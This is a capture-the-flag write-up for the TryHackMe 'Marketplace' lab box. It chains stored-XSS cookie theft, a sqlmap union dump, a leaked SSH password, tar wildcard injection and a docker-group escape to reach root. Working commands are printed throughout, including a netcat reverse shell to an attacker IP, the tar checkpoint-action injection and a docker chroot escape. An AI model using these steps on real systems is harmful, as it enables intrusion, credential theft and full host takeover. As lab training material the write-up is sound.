TryHackMe: The Marketplace Writeup

TryHackMe | The Marketplace

This is a medium level machine and looking at the tags we will be focusing on web, xss, docker and sqli. Actually this box was a awesome ride and I really enjoyed the challenge.

Let’s start with a quick scan of all ports to see what is open:

So we have three open ports available. I will run a version scan with scripts to see if we can find out more information on these open ports:

So we have ssh open on port 22, a web server running nginx1.19.2 on port 80 and a webserver running Node.js on port 32768.

On port 80 we can see that the report has identified a robots.txt file with one disallowed entry ‘/admin’ and the title is The Marketplace. The Node.js server on port 32768 mirrors that of port 80 to support Node.js.

Web Server — Port 80:

Navigating to the website we see the following:

As with all web enumeration, it is best to start by exploring all the pages and where there are input fields, trying common vulnerability checks for xss and sqli etc.

To automate this quickly, I used the zap vulnerability scanner and proxy to initially spider the site and then run an automated scan. I then started exploring the site using the built in Zap browser which is also configured as a proxy.

Working through the site I created an account, logged in, created a new listing and then reported the listing to the admins. I then re-ran the active scan.

Xss Vulnerability:

We can see from the scan that it detects a potential xss vulnerability on the /new form for the parameter ‘description’, this is rated as high risk with a confidence level of ‘Medium’

We can try to inject some simple code into this field as a proof of concept. Let’s try and open up an alert box using a simple js command.

As we can see the proof of concept works and we get our alert box pop up on the screen.

You will notice that if you leave the page via the home button and then select on the listing you have just created, the alert pops up again. This is a stored xss and probably means that the script we used is being written to a database.

Looking at the page request we can also see that we have a cookie assigned when we logged into our account. A classic xss exploit would be to capture other users cookies so we can log in as them and capture privileged information.

This is exactly what we need to do here. Remember we have the option to report the listing to the admin. If we look at our messages, we can see the following:

So it would appear that the admin has reviewed our listing and found nothing that violates their rules. If we can capture the admins cookie when they visit the listing, then we should be able to impersonate the admin with full privileges.

To do this we need to modify our script to grab the admin cookie and store that information somewhere where we can access and use it. To do this I am going to use a cookie stealing script which will basically setup an http server on my attack system to log cookies captured from the injected script through the xss vulnerability. All the information required to achieve this can be found at the link below.

s0wr0b1ndef/WebHacking101

XSS Exploitation to Steal Admin Cookie:

Let’s start the XSS-cookie-stealer.py on our attack machine:

python XSS-cookie-stealer.py

We should see the words ‘Started http server’

Create a new listing and enter the exploit script.

As soon as we submit, we should see our cookie appear on the http server running on our attack machine:

Let’s now click on the link and report listing to the admins:

Click ‘Report’ button and we should see the admin cookie appear on our http server:

Copy the admins cookie to clipboard and using Firefox, select from the menu (Web Developer — Storage Inspector and select Cookies). Change the current cookie in the value filed and paste in the admin cookie and enter:

Refresh the page and we should be logged in as the Admin:

So this page appears to be listing all the users on the system, as well as the first flag. We can assume that this is driven by a database. If we select any of the users, we can see that the address bar changes to /admin?user=2, with the integer being the user ID.

SQL Injection:

The /admn?user=2 address could be vulnerably to SQL Injection (SQLi). We can test for this by adding ‘ or 1=1 or any other method used to cause an error message from the database.

So we have an injection point, for speed I will use sqlmap; however, you could run a union injection attack from the browser address bar or use Burp Repeater.

sqlmap http://[IP]/admin?user=3 --cookie='token=[Enter Cookie] --technique=U --delay=2 -dump

After some trial and error I had to add a delay flag, as there maybe some anti CSRF system in place. Eventually sqlmap dumped all the data from the database by using a union attack:

Usernames and Password Hashes:

After spending some time getting obsessed about trying to crack the hashes, I gave up, assuming that it is probably a rabbit hole. Part of the policy of TryHackMe requires that the maximum time it should take to crack a hash should be no longer than 5 mins. Unfortunately by getting overly obsessed with the hashes, I initially missed the key piece of information that would grant me access to the ssh server:

Messages:

In the messages table we can see that a message has been sent to user 3 (Jake) informing him that his ssh password is too weak and a new temporary password has been created. We can use the password to ssh in to the system as user Jake.

SSH as User Jake:

And we are in. Let’s start looking around and see what we have. First let’s grab the user.txt file from the /home/jake directory.

We can also see a /home/michael directory.

As we now have a foothold, we need to escalate our privileges through the system to achieve root access. The first thing I do before running any enumeration scripts is to see whether we have any sudo rights using the sudo -l command:

So it looks like we can run /opt/backups/backup.sh as user Michael. Let’s take a look at this script and see whats going on:

So we can see that the backup.sh file is owned by Michael and basically it uses tar to archive all file in the directory. As it is using a wildcard ‘*’ and as backup.sh is owned by Michael, we can exploit this to privesc to Michael. For more information on wildcard injection, see the link below:

Exploiting Wildcard for Privilege Escalation

First we need to create a Netcat reverse shell, to do this I will use msfvenom, you could also use other reverse shells if required. I just like using msfvenom as it helps to keep the commands fresh in my memory.

msfvenom -p cmd/unix/reverse_netcat lhost=[IP ADDRESS] lport=[PORT] R

Our Netcat reverse shell code is:

mkfifo /tmp/uvity; nc 10.10.244.195 4444 0</tmp/uvity | /bin/sh >/tmp/uvity 2>&1; rm /tmp/uvity

Wildcard Injection Exploit:

So the three steps are as follows:

1. Copy our reverse Netcat shell to shell.sh in the /opt/backups directory

echo "mkfifo /tmp/uvity; nc 10.10.244.195 4444 0</tmp/uvity | /bin/sh >/tmp/uvity 2>&1; rm /tmp/uvity" > shell.sh

2. Run the action when the checkpoint is reached

echo "" > "--checkpoint-action=exec=sh shell.sh"

3. Show progress message every record

echo "" > --checkpoint=1

Next setup a Netcat listener on our attack machine to grab the reverse shell

nc -lnvp 4444

Using our sudo privileges, we can now run the backup.sh file as michael on the remote machine from the /opt/backups directory:

sudo -u michael ./backup.sh

And we have our reverse shell:

So we are now Michael, what is also interesting is that michael is also a member of a docker group (999), but we will talk about that later. Anyway, as you can see, our shell is not very good and lacks a lot of features. To fix this we will upgrade our shell to a decent TTY shell using python:

python -c 'import pty/pty.spawn("/bin/bash")'

There now we have a nice TTY shell:

Let’s continue our enumeration. Unfortunately at this time we cannot use sudo -l, as we do not know Michaels password. Looking in Michael’s home directory, there is nothing there:

However we do know that he is a member of a docker group. We can try and exploit the docker. First let’s see what dockers are running:

Let’s head over to our go to site for Linux binary exploits GTFOBins:

GTFOBins

Searching for the docker binary we find the following:

This looks good as one of the images we have already identified on the docker Alpine and also Michael is privileged enough, as he is a member of the docker group. Let’s give this exploit a go:

docker run -v /:/mnt --rm -it alpine chroot /mnt sh

It works, we are root and we can grab the root.txt:

Absolutely loved this box as it covered some key real word web vulnerabilities listed in owasp.org. Also the privesc introduced me to docker exploitation, that I was not overly familiar with. The xss was really enjoyable and really help me to understand better this vulnerability, likewise with the SQLi.

A big thank you to Jammy for creating this box and to HTB for an excellent platform.

Now to start on the new 0day room. THANKS FOR READING